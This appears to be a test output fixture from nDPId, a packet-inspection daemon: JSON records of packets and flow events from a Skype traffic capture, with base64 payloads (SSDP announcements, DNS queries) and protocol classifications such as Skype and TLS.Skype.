+01049{"flow_id":282,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2500,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969731,"pkt_ts_usec":759264,"pkt_caplen":527,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":527,"pkt_l4_len":493,"pkt":"AQBef\/\/6xCwDBkn+CABFAAIBLRwAAAER2NHAqAFc7\/\/\/+sOkB2wB7a5yTk9USUZZICogSFRUUC8xLjENCkhvc3Q6MjM5LjI1NS4yNTUuMjUwOjE5MDANCk5UOnVybjpzY2hlbWFzLXVwbnAtb3JnOmRldmljZTpNZWRpYVNlcnZlcjoxDQpOVFM6c3NkcDphbGl2ZQ0KTG9jYXRpb246aHR0cDovLzEwLjIxMS41NS4zOjI4NjkvdXBucGhvc3QvdWRoaXNhcGkuZGxsP2NvbnRlbnQ9dXVpZDoyY2JjNzg1ZS0yNWY0LTQwY2EtOThiNS0wZDU4MDRhZGFhOGUNClVTTjp1dWlkOjJjYmM3ODVlLTI1ZjQtNDBjYS05OGI1LTBkNTgwNGFkYWE4ZTo6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOk1lZGlhU2VydmVyOjENCkNhY2hlLUNvbnRyb2w6bWF4LWFnZT05MDANClNlcnZlcjpNaWNyb3NvZnQtV2luZG93cy1OVC81LjEgVVBuUC8xLjAgVVBuUC1EZXZpY2UtSG9zdC8xLjANCk9QVDoiaHR0cDovL3NjaGVtYXMudXBucC5vcmcvdXBucC8xLzAvIjsgbnM9MDENCjAxLU5MUzpkNDZkNTAwOWUxNDcxYmE2ODAwZTQzZTdmMGUxMmVlNA0KDQo="} +00993{"flow_id":282,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2501,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969731,"pkt_ts_usec":759982,"pkt_caplen":484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":484,"pkt_l4_len":450,"pkt":"AQBef\/\/6xCwDBkn+CABFAAHWWQ8AAAERrQnAqAFc7\/\/\/+sOkB2wBwvRETk9USUZZICogSFRUUC8xLjENCkhvc3Q6MjM5LjI1NS4yNTUuMjUwOjE5MDANCk5UOnV1aWQ6MmNiYzc4NWUtMjVmNC00MGNhLTk4YjUtMGQ1ODA0YWRhYThlDQpOVFM6c3NkcDphbGl2ZQ0KTG9jYXRpb246aHR0cDovLzEwLjIxMS41NS4zOjI4NjkvdXBucGhvc3QvdWRoaXNhcGkuZGxsP2NvbnRlbnQ9dXVpZDoyY2JjNzg1ZS0yNWY0LTQwY2EtOThiNS0wZDU4MDRhZGFhOGUNClVTTjp1dWlkOjJjYmM3ODVlLTI1ZjQtNDBjYS05OGI1LTBkNTgwNGFkYWE4ZQ0KQ2FjaGUtQ29udHJvbDptYXgtYWdlPTkwMA0KU2VydmVyOk1pY3Jvc29mdC1XaW5kb3dzLU5ULzUuMSBVUG5QLzEuMCBVUG5QLURldmljZS1Ib3N0LzEuMA0KT1BUOiJodHRwOi8vc2NoZW1hcy51cG5wLm9yZy91cG5wLzEvMC8iOyBucz0wMQ0KMDEtTkxTOmQ0NmQ1MDA5ZTE0NzFiYTY4MDBlNDNlN2YwZTEyZWU0DQoNCg=="} +00981{"flow_id":282,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2502,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969731,"pkt_ts_usec":760641,"pkt_caplen":475,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":475,"pkt_l4_len":441,"pkt":"AQBef\/\/6xCwDBkn+CABFAAHNh8QAAAERfl3AqAFc7\/\/\/+sOkB2wBuX63Tk9USUZZICogSFRUUC8xLjENCkhvc3Q6MjM5LjI1NS4yNTUuMjUwOjE5MDANCk5UOnVwbnA6cm9vdGRldmljZQ0KTlRTOnNzZHA6YWxpdmUNCkxvY2F0aW9uOmh0dHA6Ly8xMC4yMTEuNTUuMzoyODY5L3VwbnBob3N0L3VkaGlzYXBpLmRsbD9jb250ZW50PXV1aWQ6MmNiYzc4NWUtMjVmNC00MGNhLTk4YjUtMGQ1ODA0YWRhYThlDQpVU046dXVpZDoyY2JjNzg1ZS0yNWY0LTQwY2EtOThiNS0wZDU4MDRhZGFhOGU6OnVwbnA6cm9vdGRldmljZQ0KQ2FjaGUtQ29udHJvbDptYXgtYWdlPTkwMA0KU2VydmVyOk1pY3Jvc29mdC1XaW5kb3dzLU5ULzUuMSBVUG5QLzEuMCBVUG5QLURldmljZS1Ib3N0LzEuMA0KT1BUOiJodHRwOi8vc2NoZW1hcy51cG5wLm9yZy91cG5wLzEvMC8iOyBucz0wMQ0KMDEtTkxTOmQ0NmQ1MDA5ZTE0NzFiYTY4MDBlNDNlN2YwZTEyZWU0DQoNCg=="} +01066{"flow_id":282,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2503,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969731,"pkt_ts_usec":761293,"pkt_caplen":539,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":539,"pkt_l4_len":505,"pkt":"AQBef\/\/6xCwDBkn+CABFAAINjEYAAAEReZvAqAFc7\/\/\/+sOkB2wB+afnTk9USUZZICogSFRUUC8xLjENCkhvc3Q6MjM5LjI1NS4yNTUuMjUwOjE5MDANCk5UOnVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6Q29udGVudERpcmVjdG9yeToxDQpOVFM6c3NkcDphbGl2ZQ0KTG9jYXRpb246aHR0cDovLzEwLjIxMS41NS4zOjI4NjkvdXBucGhvc3QvdWRoaXNhcGkuZGxsP2NvbnRlbnQ9dXVpZDoyY2JjNzg1ZS0yNWY0LTQwY2EtOThiNS0wZDU4MDRhZGFhOGUNClVTTjp1dWlkOjJjYmM3ODVlLTI1ZjQtNDBjYS05OGI1LTBkNTgwNGFkYWE4ZTo6dXJuOnNjaGVtYXMtdXBucC1vcmc6c2VydmljZTpDb250ZW50RGlyZWN0b3J5OjENCkNhY2hlLUNvbnRyb2w6bWF4LWFnZT05MDANClNlcnZlcjpNaWNyb3NvZnQtV2luZG93cy1OVC81LjEgVVBuUC8xLjAgVVBuUC1EZXZpY2UtSG9zdC8xLjANCk9QVDoiaHR0cDovL3NjaGVtYXMudXBucC5vcmcvdXBucC8xLzAvIjsgbnM9MDENCjAxLU5MUzpkNDZkNTAwOWUxNDcxYmE2ODAwZTQzZTdmMGUxMmVlNA0KDQo="} +01070{"flow_id":282,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2504,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969731,"pkt_ts_usec":761958,"pkt_caplen":541,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":541,"pkt_l4_len":507,"pkt":"AQBef\/\/6xCwDBkn+CABFAAIPzo8AAAERN1DAqAFc7\/\/\/+sOkB2wB+wkMTk9USUZZICogSFRUUC8xLjENCkhvc3Q6MjM5LjI1NS4yNTUuMjUwOjE5MDANCk5UOnVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6Q29ubmVjdGlvbk1hbmFnZXI6MQ0KTlRTOnNzZHA6YWxpdmUNCkxvY2F0aW9uOmh0dHA6Ly8xMC4yMTEuNTUuMzoyODY5L3VwbnBob3N0L3VkaGlzYXBpLmRsbD9jb250ZW50PXV1aWQ6MmNiYzc4NWUtMjVmNC00MGNhLTk4YjUtMGQ1ODA0YWRhYThlDQpVU046dXVpZDoyY2JjNzg1ZS0yNWY0LTQwY2EtOThiNS0wZDU4MDRhZGFhOGU6OnVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6Q29ubmVjdGlvbk1hbmFnZXI6MQ0KQ2FjaGUtQ29udHJvbDptYXgtYWdlPTkwMA0KU2VydmVyOk1pY3Jvc29mdC1XaW5kb3dzLU5ULzUuMSBVUG5QLzEuMCBVUG5QLURldmljZS1Ib3N0LzEuMA0KT1BUOiJodHRwOi8vc2NoZW1hcy51cG5wLm9yZy91cG5wLzEvMC8iOyBucz0wMQ0KMDEtTkxTOmQ0NmQ1MDA5ZTE0NzFiYTY4MDBlNDNlN2YwZTEyZWU0DQoNCg=="} +01087{"flow_id":282,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2505,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969731,"pkt_ts_usec":762754,"pkt_caplen":555,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":555,"pkt_l4_len":521,"pkt":"AQBef\/\/6xCwDBkn+CABFAAIdMOMAAAER1O7AqAFc7\/\/\/+sOkB2wCCWYzTk9USUZZICogSFRUUC8xLjENCkhvc3Q6MjM5LjI1NS4yNTUuMjUwOjE5MDANCk5UOnVybjptaWNyb3NvZnQuY29tOnNlcnZpY2U6WF9NU19NZWRpYVJlY2VpdmVyUmVnaXN0cmFyOjENCk5UUzpzc2RwOmFsaXZlDQpMb2NhdGlvbjpodHRwOi8vMTAuMjExLjU1LjM6Mjg2OS91cG5waG9zdC91ZGhpc2FwaS5kbGw\/Y29udGVudD11dWlkOjJjYmM3ODVlLTI1ZjQtNDBjYS05OGI1LTBkNTgwNGFkYWE4ZQ0KVVNOOnV1aWQ6MmNiYzc4NWUtMjVmNC00MGNhLTk4YjUtMGQ1ODA0YWRhYThlOjp1cm46bWljcm9zb2Z0LmNvbTpzZXJ2aWNlOlhfTVNfTWVkaWFSZWNlaXZlclJlZ2lzdHJhcjoxDQpDYWNoZS1Db250cm9sOm1heC1hZ2U9OTAwDQpTZXJ2ZXI6TWljcm9zb2Z0LVdpbmRvd3MtTlQvNS4xIFVQblAvMS4wIFVQblAtRGV2aWNlLUhvc3QvMS4wDQpPUFQ6Imh0dHA6Ly9zY2hlbWFzLnVwbnAub3JnL3VwbnAvMS8wLyI7IG5zPTAxDQowMS1OTFM6ZDQ2ZDUwMDllMTQ3MWJhNjgwMGU0M2U3ZjBlMTJlZTQNCg0K"} +00438{"flow_id":250,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2509,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969731,"pkt_ts_usec":879831,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8iKhAAEAGL3TAqAEiBfi63cPCeSJZV8vhQ7fcvYAZECqJKAAAAQEICj4j5rEAAG6yvouwwfuK2cY="} +00426{"flow_id":250,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2510,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969731,"pkt_ts_usec":991643,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA00YpAAHIGtJkF+LrdwKgBInkiw8JDt9zFWVfL6oAQQ8yZdgAAAQEICgAAb2E+I+ax"} +00457{"flow_id":276,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2516,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969732,"pkt_ts_usec":263015,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLZ5EAAEARj53AqAEiwKgBAfe9ADUAN4CxqiYBAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAABAAE="} +00458{"flow_id":277,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2517,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969732,"pkt_ts_usec":263155,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLFH8AAEAR4q\/AqAEiwKgBAf4NADUANx167A0BAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAAcAAE="} +00440{"flow_id":249,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2519,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969733,"pkt_ts_usec":216278,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8+cVAAHMG\/HJH7gfLwKgBIklPw8GfDHWsvqdeNIAY\/8I+5QAAAQEICgMcpDg+I6Tt0Ou1l+tQ66E="} +00410{"flow_id":249,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2520,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969733,"pkt_ts_usec":216347,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAoQAxAAEAG6UDAqAEiR+4Hy8PBSU++p140AAAAAFAEAAB0cAAA"} +00419{"flow_id":239,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2522,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969733,"pkt_ts_usec":946836,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"0NQSxnP1PBXCt3IOCABFAAAugTYAAEART\/3AqAEisBo3pzLd+R0AGq\/Inp8CBP0iWVVhqNaRhnko6puw"} +00417{"flow_id":240,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2523,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969733,"pkt_ts_usec":946837,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"0NQSxnP1PBXCt3IOCABFAAAug4YAAEARGanAqAEiTLnPDDLdsbUAGuKenqEC+8xItnuUYEyJeTWjQjk1"} +00438{"flow_id":275,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2524,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969734,"pkt_ts_usec":66168,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8w1RAAEAG2NfAqAEi1KEIJMPSNFCRDXEXwSvNzoAZECgzmAAAAQEICj4j7zg\/mk5203B1cONeI20="} +00439{"flow_id":279,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2525,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969734,"pkt_ts_usec":114383,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8hLpAAEAGPxvAqAEilQ0gD8PUNFDIS2nzZKVBu4AZECqdgQAAAQEICj4j72g\/guieZ8yzMrUUW5Q="} +01087{"flow_id":282,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2526,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969734,"pkt_ts_usec":853624,"pkt_caplen":555,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":555,"pkt_l4_len":521,"pkt":"AQBef\/\/6xCwDBkn+CABFAAIdnLUAAAERaRzAqAFc7\/\/\/+sOkB2wCCWYzTk9USUZZICogSFRUUC8xLjENCkhvc3Q6MjM5LjI1NS4yNTUuMjUwOjE5MDANCk5UOnVybjptaWNyb3NvZnQuY29tOnNlcnZpY2U6WF9NU19NZWRpYVJlY2VpdmVyUmVnaXN0cmFyOjENCk5UUzpzc2RwOmFsaXZlDQpMb2NhdGlvbjpodHRwOi8vMTAuMjExLjU1LjM6Mjg2OS91cG5waG9zdC91ZGhpc2FwaS5kbGw\/Y29udGVudD11dWlkOjJjYmM3ODVlLTI1ZjQtNDBjYS05OGI1LTBkNTgwNGFkYWE4ZQ0KVVNOOnV1aWQ6MmNiYzc4NWUtMjVmNC00MGNhLTk4YjUtMGQ1ODA0YWRhYThlOjp1cm46bWljcm9zb2Z0LmNvbTpzZXJ2aWNlOlhfTVNfTWVkaWFSZWNlaXZlclJlZ2lzdHJhcjoxDQpDYWNoZS1Db250cm9sOm1heC1hZ2U9OTAwDQpTZXJ2ZXI6TWljcm9zb2Z0LVdpbmRvd3MtTlQvNS4xIFVQblAvMS4wIFVQblAtRGV2aWNlLUhvc3QvMS4wDQpPUFQ6Imh0dHA6Ly9zY2hlbWFzLnVwbnAub3JnL3VwbnAvMS8wLyI7IG5zPTAxDQowMS1OTFM6ZDQ2ZDUwMDllMTQ3MWJhNjgwMGU0M2U3ZjBlMTJlZTQNCg0K"} +00994{"flow_id":282,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2527,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969734,"pkt_ts_usec":854265,"pkt_caplen":484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":484,"pkt_l4_len":450,"pkt":"AQBef\/\/6xCwDBkn+CABFAAHWlOAAAAERcTjAqAFc7\/\/\/+sOkB2wBwvRETk9USUZZICogSFRUUC8xLjENCkhvc3Q6MjM5LjI1NS4yNTUuMjUwOjE5MDANCk5UOnV1aWQ6MmNiYzc4NWUtMjVmNC00MGNhLTk4YjUtMGQ1ODA0YWRhYThlDQpOVFM6c3NkcDphbGl2ZQ0KTG9jYXRpb246aHR0cDovLzEwLjIxMS41NS4zOjI4NjkvdXBucGhvc3QvdWRoaXNhcGkuZGxsP2NvbnRlbnQ9dXVpZDoyY2JjNzg1ZS0yNWY0LTQwY2EtOThiNS0wZDU4MDRhZGFhOGUNClVTTjp1dWlkOjJjYmM3ODVlLTI1ZjQtNDBjYS05OGI1LTBkNTgwNGFkYWE4ZQ0KQ2FjaGUtQ29udHJvbDptYXgtYWdlPTkwMA0KU2VydmVyOk1pY3Jvc29mdC1XaW5kb3dzLU5ULzUuMSBVUG5QLzEuMCBVUG5QLURldmljZS1Ib3N0LzEuMA0KT1BUOiJodHRwOi8vc2NoZW1hcy51cG5wLm9yZy91cG5wLzEvMC8iOyBucz0wMQ0KMDEtTkxTOmQ0NmQ1MDA5ZTE0NzFiYTY4MDBlNDNlN2YwZTEyZWU0DQoNCg=="} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2528,"source":"skype.pcap","alias":"nDPId-test","flow_id":283,"flow_packet_id":1,"flow_first_seen":1431969735255,"flow_last_seen":0,"flow_tot_l4_data_len":26,"flow_min_l4_data_len":26,"flow_max_l4_data_len":26,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"106.188.249.186","src_port":13021,"dst_port":15120,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00417{"flow_id":283,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2528,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969735,"pkt_ts_usec":255261,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"0NQSxnP1PBXCt3IOCABFAAAuQGgAAEARFBbAqAEiarz5ujLdOxAAGjrunqMCSv26L3gQtCJn9dl5F8Bv"} +00519{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2528,"source":"skype.pcap","alias":"nDPId-test","flow_id":283,"flow_packet_id":1,"flow_first_seen":1431969735255,"flow_last_seen":0,"flow_tot_l4_data_len":26,"flow_min_l4_data_len":26,"flow_max_l4_data_len":26,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"106.188.249.186","src_port":13021,"dst_port":15120,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00457{"flow_id":272,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2543,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969737,"pkt_ts_usec":793099,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"0NQSxnP1PBXCt3IOCABFAABKNw8AAEARwCDAqAEiwKgBAdxDADUANtEePu0BAAABAAAAAAAAAzMzNQEwATcBNwEzBHJzdDUBcgVza3lwZQNuZXQAABwAAQ=="} +00457{"flow_id":271,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2544,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969737,"pkt_ts_usec":793236,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"0NQSxnP1PBXCt3IOCABFAABKv88AAEARN2DAqAEiwKgBAc4GADUANhjrBXkBAAABAAAAAAAAAzMzNQEwATcBNwEzBHJzdDUBcgVza3lwZQNuZXQAAAEAAQ=="} +00442{"flow_id":273,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2546,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969739,"pkt_ts_usec":164470,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA88UAAEARA3TAqAEiwKgBAc3qADUALN\/7ZhIBAAABAAAAAAAAAWIGY29uZmlnBXNreXBlA2NvbQAAAQAB"} +00441{"flow_id":274,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2547,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969739,"pkt_ts_usec":164656,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAieIAAEARbVfAqAEiwKgBAcpaADUALFPq9ZgBAAABAAAAAAAAAWIGY29uZmlnBXNreXBlA2NvbQAAHAAB"} +00519{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2553,"source":"skype.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":17,"flow_first_seen":1431969657367,"flow_last_seen":1431969678270,"flow_tot_l4_data_len":783,"flow_min_l4_data_len":20,"flow_max_l4_data_len":95,"flow_avg_l4_data_len":46,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.170","src_port":50033,"dst_port":40015,"l4_proto":"tcp","ndpi": {"proto":"Skype","breed":"Acceptable","category":"VoIP"}} +00490{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2553,"source":"skype.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":17,"flow_first_seen":1431969657367,"flow_last_seen":1431969678270,"flow_tot_l4_data_len":783,"flow_min_l4_data_len":20,"flow_max_l4_data_len":95,"flow_avg_l4_data_len":46,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.170","src_port":50033,"dst_port":40015,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00521{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2553,"source":"skype.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":17,"flow_first_seen":1431969657367,"flow_last_seen":1431969676525,"flow_tot_l4_data_len":822,"flow_min_l4_data_len":20,"flow_max_l4_data_len":128,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.140","src_port":50034,"dst_port":40033,"l4_proto":"tcp","ndpi": {"proto":"Skype","breed":"Acceptable","category":"VoIP"}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2553,"source":"skype.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":17,"flow_first_seen":1431969657367,"flow_last_seen":1431969676525,"flow_tot_l4_data_len":822,"flow_min_l4_data_len":20,"flow_max_l4_data_len":128,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.140","src_port":50034,"dst_port":40033,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00513{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2553,"source":"skype.pcap","alias":"nDPId-test","flow_id":148,"flow_packet_id":3,"flow_first_seen":1431969675567,"flow_last_seen":1431969675716,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"17.172.100.36","src_port":50024,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Apple","breed":"Safe","category":"Web"}} +00487{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2553,"source":"skype.pcap","alias":"nDPId-test","flow_id":148,"flow_packet_id":3,"flow_first_seen":1431969675567,"flow_last_seen":1431969675716,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"17.172.100.36","src_port":50024,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00480{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":2553,"source":"skype.pcap","alias":"nDPId-test","flow_id":283,"flow_packet_id":1,"flow_first_seen":1431969735255,"flow_last_seen":0,"flow_tot_l4_data_len":26,"flow_min_l4_data_len":26,"flow_max_l4_data_len":26,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"106.188.249.186","src_port":13021,"dst_port":15120,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00523{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2553,"source":"skype.pcap","alias":"nDPId-test","flow_id":65,"flow_packet_id":15,"flow_first_seen":1431969658979,"flow_last_seen":1431969678254,"flow_tot_l4_data_len":752,"flow_min_l4_data_len":20,"flow_max_l4_data_len":104,"flow_avg_l4_data_len":50,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.140","src_port":50038,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Skype","breed":"Acceptable","category":"VoIP"}} +00490{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2553,"source":"skype.pcap","alias":"nDPId-test","flow_id":65,"flow_packet_id":15,"flow_first_seen":1431969658979,"flow_last_seen":1431969678254,"flow_tot_l4_data_len":752,"flow_min_l4_data_len":20,"flow_max_l4_data_len":104,"flow_avg_l4_data_len":50,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.140","src_port":50038,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00521{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2553,"source":"skype.pcap","alias":"nDPId-test","flow_id":63,"flow_packet_id":14,"flow_first_seen":1431969658978,"flow_last_seen":1431969677390,"flow_tot_l4_data_len":852,"flow_min_l4_data_len":20,"flow_max_l4_data_len":104,"flow_avg_l4_data_len":60,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.44","src_port":50036,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Skype","breed":"Acceptable","category":"VoIP"}} 